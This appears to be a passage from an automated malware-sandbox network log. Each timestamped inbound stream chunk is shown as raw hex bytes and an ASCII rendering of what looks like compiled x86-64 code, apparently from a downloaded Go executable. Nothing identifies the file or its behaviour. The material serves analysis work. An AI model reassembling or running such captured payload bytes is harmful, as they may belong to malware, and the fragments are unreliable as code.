2023-01-25 20:04:35 UTC	1916	IN	Data Raw: 08 48 89 5c 24 10 48 89 4c 24 18 48 89 7c 24 20 48 89 74 24 28 4c 89 44 24 30 4c 89 4c 24 38 e8 91 7e e8 ff 48 8b 44 24 08 48 8b 5c 24 10 48 8b 4c 24 18 48 8b 7c 24 20 48 8b 74 24 28 4c 8b 44 24 30 4c 8b 4c 24 38 e9 29 fe ff ff cc cc cc cc cc cc cc cc cc 49 3b 66 10 0f 86 79 01 00 00 48 83 ec 58 48 89 6c 24 50 48 8d 6c 24 50 48 89 5c 24 68 48 83 38 00 0f 84 42 01 00 00 48 89 44 24 60 48 89 b4 24 80 00 00 00 e8 c7 0e 00 00 0f 1f 80 00 00 00 00 48 85 db 0f 84 16 01 00 00 48 89 44 24 30 48 89 4c 24 48 48 89 5c 24 38 48 8b 94 24 80 00 00 00 48 85 d2 74 09 48 8d 35 cc 5b 39 00 eb 04 31 d2 31 f6 48 89 74 24 28 48 89 54 24 40 48 8d 05 1d 78 2d 00 e8 58 22 e3 ff 48 c7 40 08 05 00 00 00 48 8d 0d 91 79 2f 00 48 89 08 48 8b 4c 24 60 48 8b 11 48 8b 9a 40 02 00 00 48 Data Ascii: H\$HL$H\|$ Ht$(LD$0LL$8~HD$H\$HL$H\|$ Ht$(LD$0LL$8)I;fyHXHl$PHl$PH\$hH8BHD$`H$HHD$0HL$HH\$8H$HtH5[911Ht$(HT$@Hx-X"H@Hy/HHL$`HH@H
2023-01-25 20:04:35 UTC	1932	IN	Data Raw: 94 24 c8 00 00 00 48 89 50 10 eb 11 48 8d 78 10 48 8b 94 24 c8 00 00 00 e8 18 62 e8 ff 31 db 48 8d 0d 8f 05 39 00 48 89 c7 31 c0 48 8b ac 24 e0 00 00 00 48 81 c4 e8 00 00 00 c3 48 8d 05 13 5c 2c 00 e8 ee e2 e2 ff 48 89 84 24 d8 00 00 00 48 8b 9c 24 00 01 00 00 48 8b 8c 24 08 01 00 00 48 8b 7c 24 68 48 8b 84 24 f8 00 00 00 e8 64 f8 ff ff 0f 10 04 24 0f 11 44 24 70 0f 10 44 24 10 0f 11 84 24 80 00 00 00 0f 10 44 24 70 48 8b 8c 24 d8 00 00 00 0f 11 01 0f 10 84 24 80 00 00 00 0f 11 41 10 48 85 c0 74 1a 48 89 c1 48 89 df 31 c0 31 db 48 8b ac 24 e0 00 00 00 48 81 c4 e8 00 00 00 c3 48 8d 05 8c 08 39 00 48 89 cb 31 c9 31 ff 48 8b ac 24 e0 00 00 00 48 81 c4 e8 00 00 00 c3 48 89 44 24 08 48 89 5c 24 10 48 89 4c 24 18 48 89 7c 24 20 48 89 74 24 28 4c 89 44 24 30 4c Data Ascii: $HPHxH$b1H9H1H$HH\,H$H$H$H\|$hH$d$D$pD$$D$pH$$AHtHH11H$HH9H11H$HHD$H\$HL$H\|$ Ht$(LD$0L
2023-01-25 20:04:35 UTC	1948	IN	Data Raw: e9 90 fe ff ff cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 48 85 c0 74 17 48 8b 08 48 85 c9 74 0f 48 8b 81 50 02 00 00 48 8b 99 58 02 00 00 c3 31 c0 31 db c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 48 85 c0 74 17 48 8b 08 48 85 c9 74 0f 48 8b 81 60 02 00 00 48 8b 99 68 02 00 00 c3 31 c0 31 db c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 49 3b 66 10 0f 86 38 01 00 00 48 83 ec 40 48 89 6c 24 38 48 8d 6c 24 38 48 89 7c 24 60 0f 1f 00 48 85 c0 0f 84 01 01 00 00 48 8b 10 48 85 d2 0f 84 f5 00 00 00 48 89 44 24 48 90 48 89 d0 be e9 00 00 00 e8 18 c0 ef ff 48 85 c0 0f 84 cb 00 00 00 48 89 44 24 28 48 89 5c 24 30 48 8d 05 fe f7 2c 00 e8 39 a2 e2 ff 48 c7 40 Data Ascii: HtHHtHPHX11HtHHtH`Hh11I;f8H@Hl$8Hl$8H\|$`HHHHD$HHHHD$(H\$0H,9H@
2023-01-25 20:04:35 UTC	1964	IN	Data Raw: 5c 24 10 48 89 4c 24 18 e8 a8 be e7 ff 48 8b 44 24 08 48 8b 5c 24 10 48 8b 4c 24 18 e9 54 fe ff ff cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 49 3b 66 10 0f 86 b7 00 00 00 48 83 ec 38 48 89 6c 24 30 48 8d 6c 24 30 48 89 44 24 40 84 00 b9 02 10 00 00 48 89 df bb ff ff 00 00 e8 4f 1e f0 ff 48 8d 15 48 93 38 00 48 39 d0 75 74 0f 1f 00 48 85 c0 75 06 31 c0 31 c9 eb 69 48 89 44 24 28 48 89 5c 24 20 48 8d 05 64 1d 2b 00 0f 1f 40 00 e8 9b 62 e2 ff 48 c7 40 08 0a 00 00 00 48 8d 0d 6e d1 2e 00 48 89 08 48 8b 4c 24 28 48 89 48 10 83 3d 49 59 5d 00 00 75 0b 48 8b 4c 24 20 48 89 48 18 eb 11 48 8d 78 18 48 8b 4c 24 20 0f 1f 00 e8 3b e1 e7 ff 48 89 c1 48 8d 05 b1 87 38 00 eb 03 48 89 d9 48 89 cb 48 8b 6c 24 30 48 83 c4 38 c3 48 89 44 24 08 48 89 5c 24 Data Ascii: \$HL$HD$H\$HL$TI;fH8Hl$0Hl$0HD$@HOHH8H9utHu11iHD$(H\$ Hd+@bH@Hn.HHL$(HH=IY]uHL$ HHHxHL$ ;HH8HHHl$0H8HD$H\$
2023-01-25 20:04:35 UTC	1980	IN	Data Raw: 0f 85 ba 00 00 00 48 8d 0d 68 49 38 00 0f 1f 84 00 00 00 00 00 48 39 c8 0f 85 a2 00 00 00 8b 4b 08 48 8d 05 6d bd 57 00 48 89 cb e8 a5 ba fe ff 48 89 44 24 18 48 89 5c 24 10 48 8d 05 94 76 2b 00 e8 ef 22 e2 ff 48 c7 40 08 10 00 00 00 48 c7 40 10 10 00 00 00 48 8b 4c 24 20 48 8d 51 0c 83 3d 9f 19 5d 00 00 75 05 48 89 10 eb 0d 48 89 c7 0f 1f 44 00 00 e8 bb a1 e7 ff 48 8b 09 48 89 48 18 48 8b 4c 24 10 48 89 48 28 83 3d 74 19 5d 00 00 75 0b 48 8b 4c 24 18 48 89 48 20 eb 0e 48 8d 78 20 48 8b 4c 24 18 e8 69 a1 e7 ff 48 89 c3 48 8d 05 27 5c 38 00 48 8b 6c 24 28 48 83 c4 30 c3 31 c0 31 db 48 8b 6c 24 28 48 83 c4 30 c3 48 89 44 24 08 48 89 5c 24 10 e8 d8 7d e7 ff 48 8b 44 24 08 48 8b 5c 24 10 e9 69 fe ff ff cc cc cc cc cc cc cc cc cc 48 85 c0 74 17 48 8b 08 48 8b Data Ascii: HhI8H9KHmWHHD$H\$Hv+"H@H@HL$ HQ=]uHHDHHHHL$HH(=t]uHL$HH Hx HL$iHH'\8Hl$(H011Hl$(H0HD$H\$}HD$H\$iHtHH
2023-01-25 20:04:35 UTC	1996	IN	Data Raw: 48 89 05 ee 73 57 00 eb 11 48 8d 3d e5 73 57 00 0f 1f 44 00 00 e8 fb 60 e7 ff 48 8b 3d e4 5e 24 00 48 8b 0d e5 5e 24 00 48 8d 05 46 9c 27 00 bb 10 00 00 00 90 e8 5b c2 e5 ff c7 40 0c e0 00 00 02 48 c7 05 91 73 57 00 10 00 00 00 48 c7 05 8e 73 57 00 10 00 00 00 83 3d a7 d9 5c 00 00 75 09 48 89 05 6e 73 57 00 eb 11 48 8d 3d 65 73 57 00 0f 1f 44 00 00 e8 9b 60 e7 ff 48 8b 3d 84 5e 24 00 48 8b 0d 85 5e 24 00 48 8d 05 e6 9b 27 00 bb 10 00 00 00 90 e8 fb c1 e5 ff c7 40 0c 00 00 00 00 48 c7 05 91 73 57 00 10 00 00 00 48 c7 05 8e 73 57 00 10 00 00 00 83 3d 47 d9 5c 00 00 75 09 48 89 05 6e 73 57 00 eb 11 48 8d 3d 65 73 57 00 0f 1f 44 00 00 e8 3b 60 e7 ff 48 8d 05 94 9b 27 00 bb 04 00 00 00 48 89 d9 e8 07 c3 e5 ff c7 00 ff 00 00 00 48 c7 05 7e 73 57 00 04 00 00 00 Data Ascii: HsWH=sWD`H=^$H^$HF'[@HsWHsW=\uHnsWH=esWD`H=^$H^$H'@HsWHsW=G\uHnsWH=esWD;`H'HH~sW
2023-01-25 20:04:35 UTC	2012	IN	Data Raw: b1 f2 ff ff 84 c0 0f 84 94 00 00 00 48 8b 44 24 30 48 8b 4c 24 28 48 39 c8 0f 83 0d 01 00 00 48 8b 9c 24 90 00 00 00 c6 04 03 25 48 8d 50 01 0f b6 74 24 1e 89 f7 40 c0 ee 04 40 0f b6 f6 4c 8d 05 d1 30 2e 00 41 0f b6 34 30 48 39 d1 0f 86 d1 00 00 00 40 88 74 18 01 48 8d 50 02 83 e7 0f 42 0f b6 34 07 48 39 d1 0f 86 af 00 00 00 40 88 74 18 02 4c 8d 40 03 48 8b 84 24 a8 00 00 00 48 8b 8c 24 b8 00 00 00 48 89 da 48 8b 9c 24 b0 00 00 00 48 8b 74 24 28 48 8b 7c 24 38 e9 17 ff ff ff 48 8b 54 24 38 48 8b b4 24 a8 00 00 00 0f b6 3c 16 48 8b 44 24 30 48 8b 4c 24 28 48 39 c8 73 57 48 8b 9c 24 90 00 00 00 40 88 3c 03 4c 8d 40 01 48 89 f0 48 8b 8c 24 b8 00 00 00 48 8b 9c 24 b0 00 00 00 48 8b 74 24 28 48 89 d7 48 8b 94 24 90 00 00 00 66 90 e9 bd fe ff ff 31 c0 48 89 d3 Data Ascii: HD$0HL$(H9H$%HPt$@@L0.A40H9@tHPB4H9@tL@H$H$HH$Ht$(H\|$8HT$8H$<HD$0HL$(H9sWH$@<L@HH$H$Ht$(HH$f1H
2023-01-25 20:04:35 UTC	2028	IN	Data Raw: 0f 85 87 00 00 00 48 8b 5a 60 48 8b 72 68 48 89 70 68 83 3d ec 59 5c 00 00 75 06 48 89 58 60 eb 09 48 8d 78 60 e8 2b e2 e6 ff 48 83 79 78 00 75 5c 48 8b 5a 70 48 8b 72 78 48 89 70 78 83 3d c1 59 5c 00 00 75 06 48 89 58 70 eb 0e 48 8d 78 70 0f 1f 44 00 00 e8 fb e1 e6 ff 48 8b 9a 80 00 00 00 48 8b b2 88 00 00 00 48 89 b0 88 00 00 00 83 3d 8f 59 5c 00 00 75 09 48 89 98 80 00 00 00 eb 0c 48 8d b8 80 00 00 00 e8 c8 e1 e6 ff 48 8b 5a 28 48 8b 72 30 48 89 70 30 83 3d 65 59 5c 00 00 75 06 48 89 58 28 eb 09 48 8d 78 28 e8 a4 e1 e6 ff 48 8b 5a 20 83 3d 49 59 5c 00 00 75 06 48 89 58 20 eb 09 48 8d 78 20 e8 88 e1 e6 ff 48 89 d0 0f 1f 44 00 00 e8 db d5 ff ff 48 89 44 24 28 48 89 5c 24 20 48 8b 44 24 50 e8 c7 d5 ff ff 48 89 c1 48 89 df 48 8b 44 24 28 48 8b 5c 24 20 e8 Data Ascii: HZ`HrhHph=Y\uHX`Hx`+Hyxu\HZpHrxHpx=Y\uHXpHxpDHHH=Y\uHHHZ(Hr0Hp0=eY\uHX(Hx(HZ =IY\uHX Hx HDHD$(H\$ HD$PHHHD$(H\$
2023-01-25 20:04:35 UTC	2044	IN	Data Raw: 89 ca 48 8b 4c 24 58 e9 54 ff ff ff 48 89 d1 e8 61 cc eb ff 48 89 cf 48 89 d9 48 89 c3 31 c0 e8 f1 48 e5 ff 31 c9 31 ff 48 8b ac 24 88 00 00 00 48 81 c4 90 00 00 00 c3 b8 01 00 00 00 48 89 c1 e8 70 a5 e6 ff e8 6b a5 e6 ff 48 ff c0 0f 1f 84 00 00 00 00 00 48 39 c1 0f 8e 8c 00 00 00 0f b6 14 03 8d 72 9f 40 80 fe 19 76 df 8d 72 bf 40 80 fe 19 76 d6 8d 72 d0 40 80 fe 09 76 cd 8d 72 d9 40 80 fe 02 76 c4 8d 72 d5 40 80 fe 04 76 bb 80 fa 20 74 b6 90 80 fa 3a 74 b0 80 fa 3d 74 ab 80 fa 3f 74 a6 80 fa 2a 74 a1 80 fa 26 74 9c 48 8d 05 80 2d 29 00 e8 7b 22 e1 ff 48 c7 40 08 17 00 00 00 48 8d 0d 29 ee 2d 00 48 89 08 31 db 48 8d 0d 80 41 37 00 48 89 c7 31 c0 48 8b ac 24 88 00 00 00 48 81 c4 90 00 00 00 c3 31 c0 e8 e4 43 e5 ff 31 c9 31 ff 48 8b ac 24 88 00 00 00 48 81 Data Ascii: HL$XTHaHHH1H11H$HHpkHH9r@vr@vr@vr@vr@v t:t=t?t*t&tH-){"H@H)-H1HA7H1H$H1C11H$H
2023-01-25 20:04:35 UTC	2060	IN	Data Raw: bc 24 90 01 00 00 48 c7 84 24 a0 01 00 00 00 00 00 00 48 89 84 24 a8 01 00 00 48 89 9c 24 b0 01 00 00 31 c0 31 db 48 89 d9 31 ff 48 89 ce 49 89 c8 49 89 c1 49 89 ca 49 89 cb 48 8b ac 24 80 01 00 00 48 81 c4 88 01 00 00 c3 44 0f 11 bc 24 40 01 00 00 48 8b 84 24 f8 00 00 00 48 8b 5c 24 48 e8 10 ba e0 ff 48 8d 0d 49 9a 26 00 48 89 8c 24 40 01 00 00 48 89 84 24 48 01 00 00 48 8d 05 83 a4 2e 00 bb 3d 00 00 00 48 8d 8c 24 40 01 00 00 bf 01 00 00 00 48 89 fe e8 b8 20 ef ff 44 0f 11 bc 24 90 01 00 00 48 c7 84 24 a0 01 00 00 00 00 00 00 48 89 84 24 a8 01 00 00 48 89 9c 24 b0 01 00 00 31 c0 31 db 48 89 d9 31 ff 48 89 ce 49 89 c8 49 89 c1 49 89 ca 49 89 cb 48 8b ac 24 80 01 00 00 48 81 c4 88 01 00 00 c3 48 8b 49 18 48 89 d0 ff d1 b9 20 00 00 00 48 89 c7 48 89 de 31 Data Ascii: $H$H$H$11H1HIIIIH$HD$@H$H\$HHI&H$@H$HH.=H$@H D$H$H$H$11H1HIIIIH$HHIH HH1
2023-01-25 20:04:35 UTC	2076	IN	Data Raw: 9c 24 a8 00 00 00 48 8b 84 24 e8 00 00 00 48 8b 8c 24 b0 01 00 00 e8 ba f7 ff ff 48 89 7c 24 48 48 89 b4 24 a0 00 00 00 48 85 ff 0f 85 c1 00 00 00 4c 8b 84 24 28 01 00 00 4d 8d 48 01 4c 8b 94 24 20 01 00 00 4c 8b 9c 24 30 01 00 00 4d 39 cb 73 65 48 89 84 24 d8 00 00 00 48 89 8c 24 88 00 00 00 48 89 5c 24 78 48 8d 05 c7 ea 25 00 4c 89 d3 4c 89 c1 4c 89 df 4c 89 ce e8 d6 84 e4 ff 48 89 8c 24 30 01 00 00 48 89 84 24 20 01 00 00 48 8b 8c 24 88 00 00 00 48 8b b4 24 a0 00 00 00 48 8b 7c 24 48 49 89 c2 49 89 d8 48 8b 84 24 d8 00 00 00 48 8b 5c 24 78 4d 8d 48 01 4c 89 8c 24 28 01 00 00 4f 8d 04 40 4b 89 5c c2 08 4b 89 4c c2 10 4f 8d 0c c2 83 3d 29 99 5b 00 00 75 06 4b 89 04 c2 eb 0e 48 89 f9 4c 89 cf e8 26 20 e6 ff 48 89 cf 4c 8b 84 24 a8 00 00 00 41 8b 50 18 85 Data Ascii: $H$H$H\|$HH$HL$(MHL$ L$0M9seH$H$H\$xH%LLLLH$0H$ H$H$H\|$HIIH$H\$xMHL$(O@K\KLO=)[uKHL& HL$AP
2023-01-25 20:04:35 UTC	2092	IN	Data Raw: 84 24 e8 00 00 00 00 00 00 00 48 8b 84 24 98 01 00 00 48 89 84 24 e8 00 00 00 48 8d 9c 24 e8 00 00 00 b9 01 00 00 00 48 89 cf 31 f6 4c 8d 84 24 40 01 00 00 90 e8 1b 07 00 00 48 85 ff 0f 85 8f 00 00 00 48 8b 94 24 98 01 00 00 48 89 c7 48 89 5c 24 48 48 89 bc 24 c0 00 00 00 48 83 bc 24 80 01 00 00 00 75 55 48 89 4c 24 50 48 8d 05 03 33 26 00 0f 1f 00 e8 bb 62 e0 ff 48 c7 00 01 00 00 00 48 89 84 24 78 01 00 00 48 c7 84 24 80 01 00 00 01 00 00 00 48 c7 84 24 88 01 00 00 01 00 00 00 48 8b 4c 24 50 48 8b 94 24 98 01 00 00 48 8b 5c 24 48 48 8b bc 24 c0 00 00 00 4c 8b 84 24 78 01 00 00 4c 8b 8c 24 80 01 00 00 31 c0 e9 dd 00 00 00 31 c0 31 db 48 89 d9 48 8b ac 24 30 01 00 00 48 81 c4 38 01 00 00 c3 31 c9 48 89 c7 48 89 de 31 c0 48 89 cb 48 8b ac 24 30 01 00 00 48 Data Ascii: $H$H$H$H1L$@HH$HH\$HH$H$uUHL$PH3&bHH$xH$H$HL$PH$H\$HH$L$xL$111HH$0H81HH1HH$0H
2023-01-25 20:04:35 UTC	2108	IN	Data Raw: 48 89 d9 48 8b ac 24 58 07 00 00 48 81 c4 60 07 00 00 c3 44 0f 11 bc 24 e0 05 00 00 48 8d bc 24 e8 05 00 00 48 8d 7f f0 66 0f 1f 84 00 00 00 00 00 0f 1f 40 00 48 89 6c 24 f0 48 8d 6c 24 f0 e8 db a7 e5 ff 48 8b 6d 00 48 8b 94 24 f8 02 00 00 48 89 94 24 e0 05 00 00 48 8d bc 24 e8 05 00 00 48 8d b4 24 00 03 00 00 66 0f 1f 84 00 00 00 00 00 0f 1f 40 00 48 89 6c 24 f0 48 8d 6c 24 f0 e8 df aa e5 ff 48 8b 6d 00 48 8d bc 24 d8 06 00 00 48 8d b4 24 38 02 00 00 48 89 6c 24 f0 48 8d 6c 24 f0 e8 3a ab e5 ff 48 8b 6d 00 48 89 84 24 38 07 00 00 48 89 9c 24 40 07 00 00 48 89 8c 24 48 07 00 00 48 c1 e3 03 48 89 9c 24 50 07 00 00 48 8d 05 7f 5f 29 00 48 8d 9c 24 e0 05 00 00 e8 12 f7 df ff 48 89 c3 31 c9 31 ff 48 8d 05 64 5f 29 00 0f 1f 40 00 e8 9b 38 f2 ff 48 8b ac 24 58 Data Ascii: HH$XH`D$H$Hf@Hl$Hl$HmH$H$H$H$f@Hl$Hl$HmH$H$8Hl$Hl$:HmH$8H$@H$HHH$PH_)H$H11Hd_)@8H$X
2023-01-25 20:04:35 UTC	2124	IN	Data Raw: 24 98 00 00 00 90 8b 15 09 d8 5a 00 85 d2 75 20 48 8d 05 fe d7 5a 00 48 8d 1d ff 97 2f 00 e8 f2 0d e6 ff 48 8b 44 24 78 48 8b 9c 24 98 00 00 00 48 8b 0d e6 44 22 00 48 8d 15 7f 3e 36 00 48 39 d0 75 1a e8 8d 40 df ff 84 c0 0f 85 eb 00 00 00 48 8b 44 24 78 48 8b 9c 24 98 00 00 00 90 8b 15 b1 d7 5a 00 85 d2 75 20 48 8d 05 a6 d7 5a 00 48 8d 1d a7 97 2f 00 e8 9a 0d e6 ff 48 8b 44 24 78 48 8b 9c 24 98 00 00 00 48 8b 0d 96 44 22 00 48 8d 15 97 3d 36 00 48 39 d0 75 1a e8 35 40 df ff 84 c0 0f 85 80 00 00 00 48 8b 44 24 78 48 8b 9c 24 98 00 00 00 90 8b 15 59 d7 5a 00 85 d2 75 20 48 8d 05 4e d7 5a 00 48 8d 1d 4f 97 2f 00 e8 42 0d e6 ff 48 8b 44 24 78 48 8b 9c 24 98 00 00 00 48 8b 0d 46 44 22 00 48 8d 15 87 3d 36 00 48 39 d0 75 1e 66 90 e8 db 3f df ff 84 c0 74 13 48 Data Ascii: $Zu HZH/HD$xH$HD"H>6H9u@HD$xH$Zu HZH/HD$xH$HD"H=6H9u5@HD$xH$YZu HNZHO/BHD$xH$HFD"H=6H9uf?tH
2023-01-25 20:04:35 UTC	2140	IN	Data Raw: 0d 15 8a 2d 00 48 8d 04 39 48 8b 6c 24 38 48 83 c4 40 c3 bb 0a 00 00 00 e8 18 94 e6 ff b9 0f 00 00 00 48 89 c7 48 89 de 4c 8d 05 c3 f1 2b 00 41 b9 01 00 00 00 31 c0 48 8d 1d 8a 2b 2c 00 e8 92 c1 e3 ff 48 8b 6c 24 38 48 83 c4 40 c3 48 89 f8 0f 1f 44 00 00 e8 1b 26 e5 ff ba 62 00 00 00 e8 91 25 e5 ff 90 48 89 44 24 08 e8 46 fe e4 ff 48 8b 44 24 08 90 e9 3b ff ff ff cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 49 3b 66 10 76 26 48 83 ec 10 48 89 6c 24 08 48 8d 6c 24 08 48 8b 08 48 8b 40 08 48 8b 49 20 90 ff d1 48 8b 6c 24 08 48 83 c4 10 c3 48 89 44 24 08 e8 ea fd e4 ff 48 8b 44 24 08 eb c3 cc cc cc 49 3b 66 10 76 26 48 83 ec 10 48 89 6c 24 08 48 8d 6c 24 08 48 8b 08 48 8b 40 08 48 8b 49 30 90 ff d1 48 8b 6c 24 08 48 83 c4 Data Ascii: -H9Hl$8H@HHL+A1H+,Hl$8H@HD&b%HD$FHD$;I;fv&HHl$Hl$HH@HI Hl$HHD$HD$I;fv&HHl$Hl$HH@HI0Hl$H
2023-01-25 20:04:35 UTC	2156	IN	Data Raw: 8b 8c 24 78 02 00 00 48 8b bc 24 88 03 00 00 48 89 8f 60 01 00 00 83 3d e8 59 5a 00 00 75 14 48 8b 8c 24 68 01 00 00 48 89 8f 68 01 00 00 e9 b9 00 00 00 48 8d 8f 68 01 00 00 48 89 f8 48 89 cf 48 8b 94 24 68 01 00 00 e8 e8 e1 e4 ff 48 89 c7 0f 1f 44 00 00 e9 92 00 00 00 48 89 84 24 a0 00 00 00 48 89 9c 24 f8 01 00 00 48 8d 05 c4 69 27 00 0f 1f 40 00 e8 bb 62 df ff 48 8b 8c 24 a0 00 00 00 48 89 08 83 3d 79 59 5a 00 00 75 0e 48 8b 8c 24 f8 01 00 00 48 89 48 08 eb 11 48 8d 78 08 48 8b 8c 24 f8 01 00 00 e8 68 e1 e4 ff 48 8d 0d 41 80 35 00 48 8b bc 24 88 03 00 00 48 89 8f 60 01 00 00 83 3d 3b 59 5a 00 00 75 0b 48 89 87 68 01 00 00 66 90 eb 15 48 8d 8f 68 01 00 00 48 89 fa 48 89 cf e8 2c e0 e4 ff 48 89 d7 48 8b 87 60 01 00 00 48 8b 9f 68 01 00 00 48 8b ac 24 78 Data Ascii: $xH$H`=YZuH$hHhHhHHH$hHDH$H$Hi'@bH$H=yYZuH$HHHxH$hHA5H$H`=;YZuHhfHhHH,HH`HhH$x
2023-01-25 20:04:35 UTC	2172	IN	Data Raw: 89 6c 24 08 48 8d 6c 24 08 4d 8b 66 20 4d 85 e4 75 1a 48 8b 42 08 e8 5a 4c e5 ff 48 8b 6c 24 08 48 83 c4 10 c3 e8 eb 7d e4 ff eb c9 4c 8d 6c 24 18 0f 1f 40 00 4d 39 2c 24 75 d7 49 89 24 24 eb d1 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 49 3b 66 10 0f 86 15 01 00 00 48 83 ec 58 48 89 6c 24 50 48 8d 6c 24 50 eb 03 48 89 d8 8b 88 28 03 00 00 0f ba e1 00 0f 82 da 00 00 00 89 ca 83 c9 01 48 89 c3 89 d0 f0 0f b1 8b 28 03 00 00 0f 94 c1 84 c9 74 d4 85 d2 0f 85 a2 00 00 00 8b 4b 20 83 f9 01 74 06 31 c0 31 c9 eb 57 48 89 5c 24 38 48 89 d8 e8 37 01 00 00 48 85 c0 74 39 44 0f 11 7c 24 40 74 04 48 8b 40 08 48 89 44 24 40 48 89 5c 24 48 48 8d 05 39 fb 2c 00 bb 4c 00 00 00 48 8d 4c 24 40 bf 01 00 00 00 48 89 fe 0f 1f 00 e8 5b 60 ed ff eb 04 31 c0 31 Data Ascii: l$Hl$Mf MuHBZLHl$H}Ll$@M9,$uI$$I;fHXHl$PHl$PH(H(tK t11WH\$8H7Ht9D\|$@tH@HD$@H\$HH9,LHL$@H[`11
2023-01-25 20:04:35 UTC	2188	IN	Data Raw: cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 4c 8d a4 24 d8 fd ff ff 4d 3b 66 10 0f 86 68 13 00 00 48 81 ec a8 02 00 00 48 89 ac 24 a0 02 00 00 48 8d ac 24 a0 02 00 00 48 89 84 24 b0 02 00 00 48 8b 08 48 89 8c 24 98 01 00 00 48 89 c8 90 e8 5b 9e ff ff 48 85 c9 0f 85 51 12 00 00 48 8d 0d eb 41 26 00 48 39 c8 75 05 48 89 da eb 08 48 89 da bb 00 00 00 00 48 89 9c 24 90 01 00 00 48 89 84 24 c8 01 00 00 48 89 94 24 c0 01 00 00 90 0f 85 85 11 00 00 48 83 7b 20 00 0f 84 7a 11 00 00 48 89 d8 e8 e7 71 01 00 48 8b 94 24 b0 02 00 00 48 8d 72 30 48 89 b4 24 b8 01 00 00 48 89 cf 48 89 d9 48 89 c3 48 89 f0 e8 82 f8 01 00 48 8b 84 24 98 01 00 00 e8 d5 9d ff ff 48 85 c9 0f 85 21 11 00 00 48 8d 15 65 43 26 00 0f 1f 44 00 00 48 39 d0 75 05 48 89 d9 eb 08 Data Ascii: L$M;fhHH$H$H$HH$H[HQHA&H9uHHH$H$H$H{ zHqH$Hr0H$HHHHH$H!HeC&DH9uH
2023-01-25 20:04:35 UTC	2204	IN	Data Raw: 00 00 4c 8b 86 88 00 00 00 4c 8b 8e 90 00 00 00 4d 8b 40 38 48 89 c3 b9 04 00 00 00 48 89 cf 4c 89 c8 41 ff d0 48 8b 94 24 d8 00 00 00 48 8b b2 88 00 00 00 48 8b 82 90 00 00 00 48 8b 76 38 48 8b 9c 24 80 00 00 00 48 8b 4c 24 48 48 8b 7c 24 50 ff d6 48 8b 94 24 d8 00 00 00 48 8b 42 18 e8 31 b1 00 00 48 8b 94 24 d8 00 00 00 48 8b b2 88 00 00 00 4c 8b 82 90 00 00 00 48 8b 76 38 48 89 cf 48 89 d9 48 89 c3 4c 89 c0 ff d6 48 8b 94 24 d8 00 00 00 48 8b 72 18 66 83 be f8 00 00 00 00 75 54 48 83 be e0 00 00 00 00 75 4a 48 8b 84 24 88 00 00 00 bb 2f 00 00 00 e8 57 4e ff ff 48 8d 05 70 ad 26 00 e8 6b a2 de ff 48 c7 40 08 39 00 00 00 48 8d 0d 09 59 2c 00 48 89 08 48 89 c3 48 8d 05 6f c1 34 00 48 8b ac 24 c8 00 00 00 48 81 c4 d0 00 00 00 c3 48 8b 8e e0 00 00 00 4c 8b Data Ascii: LLM@8HHLAH$HHHv8H$HL$HH\|$PH$HB1H$HLHv8HHHLH$HrfuTHuJH$/WNHp&kH@9HY,HHHo4H$HHL
2023-01-25 20:04:35 UTC	2220	IN	Data Raw: 00 00 48 8d 0d 19 50 2b 00 48 89 08 48 8d 0d 42 82 34 00 48 8b bc 24 50 01 00 00 48 89 0f 83 3d e0 59 59 00 00 75 06 48 89 47 08 eb 12 48 8d 57 08 48 89 fb 48 89 d7 e8 d9 e0 e3 ff 48 89 df 48 89 f8 48 8b 54 24 68 4c 8b 44 24 60 80 78 28 00 74 68 4c 8b 48 18 49 83 c1 02 4c 39 48 20 7d 5a 48 8d 05 ce 6d 26 00 e8 c9 62 de ff 48 c7 40 08 36 00 00 00 48 8d 0d 04 0c 2c 00 48 89 08 48 8d 0d d0 81 34 00 48 8b bc 24 50 01 00 00 48 89 0f 83 3d 6e 59 59 00 00 75 06 48 89 47 08 eb 12 48 8d 57 08 48 89 fb 48 89 d7 e8 67 e0 e3 ff 48 89 df 48 89 f8 90 e9 80 00 00 00 48 8b 70 18 4c 8d 4e 02 48 8b 78 20 48 8b 58 10 4c 39 cf 73 3e 4c 89 4c 24 58 48 89 74 24 50 48 8d 05 95 1b 24 00 48 89 f1 4c 89 ce e8 6a 44 e2 ff 48 8b 54 24 68 48 8b 74 24 50 4c 8b 44 24 60 4c 8b 4c 24 58 Data Ascii: HP+HHB4H$PH=YYuHGHWHHHHHT$hLD$`x(thLHIL9H }ZHm&bH@6H,HH4H$PH=nYYuHGHWHHgHHHpLNHx HXL9s>LL$XHt$PH$HLjDHT$hHt$PLD$`LL$X
2023-01-25 20:04:35 UTC	2236	IN	Data Raw: 83 ec 58 48 89 6c 24 50 48 8d 6c 24 50 48 8b 52 08 48 8b 8a b8 00 00 00 48 8b 9a b0 00 00 00 90 48 83 38 00 0f 85 89 01 00 00 48 83 78 30 00 66 0f 1f 44 00 00 0f 85 82 01 00 00 48 89 44 24 60 48 89 4c 24 28 48 89 5c 24 40 48 8b 50 18 48 01 ca 0f 1f 40 00 48 39 d1 7e 5c 48 8d 05 d4 2d 26 00 e8 cf 22 de ff 48 c7 40 08 1b 00 00 00 48 8d 0d ad 0f 2b 00 48 89 08 48 8d 0d d6 41 34 00 48 8b 7c 24 60 48 89 0f 83 3d 77 19 59 00 00 75 07 48 89 47 08 90 eb 12 48 8d 57 08 48 89 fb 48 89 d7 e8 6f a0 e3 ff 48 89 df 48 89 f8 48 8b 4c 24 28 48 8b 5c 24 40 80 78 28 00 74 63 48 8b 50 18 48 01 ca 48 39 50 20 7d 56 48 8d 05 65 2d 26 00 0f 1f 44 00 00 e8 5b 22 de ff 48 c7 40 08 36 00 00 00 48 8d 0d 96 cb 2b 00 48 89 08 48 8d 0d 62 41 34 00 48 8b 7c 24 60 48 89 0f 83 3d 03 19 Data Ascii: XHl$PHl$PHRHHH8Hx0fDHD$`HL$(H\$@HPH@H9~\H-&"H@H+HHA4H\|$`H=wYuHGHWHHoHHHL$(H\$@x(tcHPHH9P }VHe-&D["H@6H+HHbA4H\|$`H=
